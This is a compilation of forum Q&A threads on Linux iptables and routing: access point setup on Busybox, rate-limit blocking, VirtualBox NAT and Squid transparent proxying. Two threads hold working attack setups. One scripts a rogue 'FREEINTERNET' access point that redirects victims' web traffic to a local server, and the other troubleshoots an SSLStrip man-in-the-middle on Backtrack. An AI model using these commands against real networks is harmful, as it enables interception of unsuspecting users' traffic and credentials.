I have a Single Board Computer (SBC) running on HiSilicon linux with Busybox. I am trying to convert this device into an Access Point. It has a wifi module and an ethernet port ( which will be connected to internet router). I have referred many articles, and pretty much each of them suggests using iptables for forwarding and masquerading ip packets.
Ref: https://serverfault.com/questions/152363/bridging-wlan0-to-eth0
Unfortunately Busybox does not seem to have iptables, and only iproute2 is available. Is there any way to achieve the following using iproute2 or something else. I am not a network engineer, so I apologize in advance if my understanding of the problem is incorrect.
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o wlan0 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
Looking at what you are trying to achieve, it is simply a "routing" concept and it is possible on busy-box. Just enable "ip forwarding" (that's all you need).
$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Then consider making permanent changes to your configurations after a successful test.
Related
We are using Suse Linux Enterprise Server 12. We need to block concurrent IP Addresses which is hitting our web server for more thatn 50 times per second and block that ip address for 10 minutes. Also it should distinguish attacker and genuine traffic and block attacker's IP forever. We have currently blocked using iptables , below is the rule.
iptables -I INPUT -p tcp --dport 443 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 443 -i eth0 -m state --state NEW -m recent --update --seconds 1 --hitcount 50 -j DROP
It will just block the IPAddress which exceeds 50 connections but wont blacklist the IPAddress. Please let us know if we have a script that will match all the scenarios which is metioned above. Please Help.
I tested this and it works really nice. If the behavior is detected, the IP is put into hold-down for 10 minutes and logged. You can verify it's operation by watching these files. /proc/net/xt_recent/NICE, /proc/net/xt_recent/NAUGHTY. You need to build a script to parse the log for bad IP's and commit them to a file that is loaded into iptables on startup if you want to blacklist permanently. That concept is already clear so no need for me to include it.
#flush and clear
iptables -F -t nat
iptables -F
iptables -X
#this is where naughty kids go
iptables -N GETCAUGHT
#you got added to the naughty list
iptables -A GETCAUGHT -m recent --name NAUGHTY --set #everyone here is bad
iptables -A GETCAUGHT -j LOG --log-prefix "iwasbad: " --log-level 4 #and it goes on your permanent record
#if you are on the NAUGHTY list you get a lump of coal
iptables -A INPUT -i eth0 -m recent --name NAUGHTY --rcheck --seconds 600 -j DROP #check everyone at the door
#though everyone starts out on the NICE list
iptables -A INPUT -i eth0 -p tcp --dport 443 -m conntrack --ctstate NEW -m recent --name NICE --set #you seem nice
#but if you GETCAUGHT doing this you are naughty
iptables -A INPUT -i eth0 -p tcp --dport 443 -m conntrack --ctstate NEW -m recent --name NICE --seconds 1 --hitcount 50 --update -j GETCAUGHT #that wasn't nice
I'm new to bash script and I need to make a script that runs the following commands:
service apache2 start
airmon-ng start wlan0
airbase-ng -e FREEINTERNET -c 1 -P wlan0mon
ifconfig at0 192.168.1.129 netmask 255.255.255.128
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.0.4:80
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 80
iptables -t nat -A POSTROUTING -j MASQUERADE
dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
service isc-dhcp-server start
My big doubt is how to make the script open the airbase-ng -e FREEINTERNET -c 1 -P wlan0mon command in a different terminal and keep executing both airbase and the remaining commands. I’m using Kali 64-bit with GNOME.
You can run something in the background by suffixing it with &. If you want to run something in a new GNOME Terminal window, you can do so with gnome-terminal -e. Putting those together, to run your airbase-ng command in a new GNOME Terminal window while letting the rest of your script continue to run:
# …
airmon-ng start wlan0
gnome-terminal -e 'airbase-ng -e FREEINTERNET -c 1 -P wlan0mon' &
ifconfig at0 192.168.1.129 netmask 255.255.255.128
# …
I'm using virtualbox (under windows) with host-only and I'm trying to make the host (that's running windows) forward the packets that are arriving from the virtual machine's interface to the interface that has an internet connection so the virtual machine can also have internet access.
In Ubuntu I did this simply like this:
iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A POSTROUTING -t nat -j MASQUERADE
How could I do this under windows?
I am having trouble with SSLStrip in a MITM Setup with Backtrack 5. I am using an external wireless card to broadcast the wireless signal, and routing through an Ethernet. I am successfully viewing the packets in Wireshark, however I would like to view SSL data using SSLStrip. These are the preliminary commands I use to set up MITM.
airmon-ng start wlan1
airbase-ng --essid mitm 11 mon0
--new Terminal--
brctl addbr mitm-bridge
brctl addif mitm-bridge eth0
brctl addif mitm-bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig mitm-bridge 192.168.0.199 up
echo 1 > /proc/sys/net/ipv4/ip_forward
At this point, I can view packet data in WireShark. I follow these steps to set up SSLStrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
cd /pentest/web/sslstrip
sslstrip -l 8080
When I am finished with the session and I open sslstrip.log I do not see any data written to the file. Also, I am unable to access the internet once I do the iptables redirect. Please let me know what you think the problem might be.
Assuming sslstrip and arp poisoning are up and running you have a problem with port redirection.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
redirects http traffic to 127.0.0.1 port 666.
cd /pentest/web/sslstrip
sslstrip -l 8080
starts sslstrip listening for incoming traffic on port 8080
U can either change port redirection to 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
or change the listening port to 666
sslstrip -l 666
Basically started with Squid and iptables today (google is your friend). This stuff is going to be the death of me.
I have Squid3 setup on Ubuntu 9.04 server as Transparent Proxy. It works sweetly when i use the proxy-box as my default gateway etc. The iptable rules for this setup was part of the tutorial. :P
I can unfortunately not access https sites (such as Gmail or anything on port 443 basically). This is because Squid dont like what it cannot cache, which in this case is the https traffic.
I would like to add an iptable rule so that i can basically access https sites and use Skype. Basically allow these types of traffic to pass through without going through Squid proxy? (bypassing it so to speak)
Would anyone perhaps know how to do this or have a link to any sources that would assist me in figuring it out?
Thank you.
After actually considering chewing through my own wrists and dreaming of IPs all night long + brute force googling/trying ANYTHING i could get my digital fingers on i managed to put something together that actually works. I dont know the technical reasons why, so if you can provide set explanations please do so! :D
PS: everything in the explanation is done via command line
PS: this is not a final solution, but its a working one in answer to my own question.
Here it is:
Step 1: Had to enable IP Forwarding on the box:
vim /etc/sysctl.conf
//find and uncomment the following
net.ipv4.ip_forward=1
net.ipv4.conf.all.rp_filter=1
Step 2: Add loop back rule (this is more for when all ports are covered, apparently many apps need it?
iptables -I INPUT -i lo -j ACCEPT
Step 3. Add rules for the bypassing of port 443: (eth1 is internet interface and x.x.x.x/eth0 is LAN interface)
iptables -t filter -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t filter -A FORWARD -i eth0 -p tcp --dport 443 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source x.x.x.x
Step 4. Then finally the rules making Squid transparent:(x.x.x.x is IP of LAN interface)
iptables -t nat -A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT --to-destination x.x.x.x:3128
iptables -t nat -A PREROUTING -i eth1 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128
iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source x.x.x.x
That is wrong. Means that every packet TCP/UDP/etc that you send from your intern LAN to Internet will use as SOURCE IP the Private LAN IP (probably 192.178.x.x), instead of the Public IP.
May be that helps you:
PREROUTING == DestinationNAT -> From Internet to Intern LAN
POSTROUTING == SourceNAT -> From Intern LAN to Internet
iptables -t nat -A PREROUTING -i intern -p tcp --dport 80 -j REDIRECT --to-ports 3128
iptables -A INPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -i intern -p tcp --dport 3128
iptables -A OUTPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -o extern -p tcp --dport 80
iptables -A INPUT -j ACCEPT -m state --state ESTABLISHED,RELATED -i extern -p tcp --sport 80
iptables -A OUTPUT -j ACCEPT -m --state ESTABLISHED,RELATED -o intern -p tcp --sport 80
To bypasss 443 would be enough with:
iptables -I FORWARD -p tcp --dport 443 -j ACCEPT
And if your system/squid/firewall is also the router from your network to internet, do not forget:
iptables -t nat -A POSTROUTING -o extern -j SNAT --to-source Public_external_IP
For those explanations...
step #1 sets up the machine as a router. This is required for any Linux machine that is going to accept or forward IP traffic destined for machines other than itself. Without this the lowest levels of the networking stack will reject the traffic and NAT will not even get a chance to do its thing.
step #2 is not relevant to the problem being asked about. It may or may not be needed for the router operations unrelated to the proxying.
step #3 lets the machine relay port 443 normally as a router. The POSTROUTING rule could be made better by using MASQUERADE instead of SNAT.
step #4 both lines do the same thing in different ways. The first line may lead you to trouble in future if you dont know what the differences are between DNAT and REDIRECT. For simplicity use REDIRECT only.
Reading http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect could have saved you a lot of trouble.
There is also a critical mangle table rule missing from your setup which is explained on that wiki page.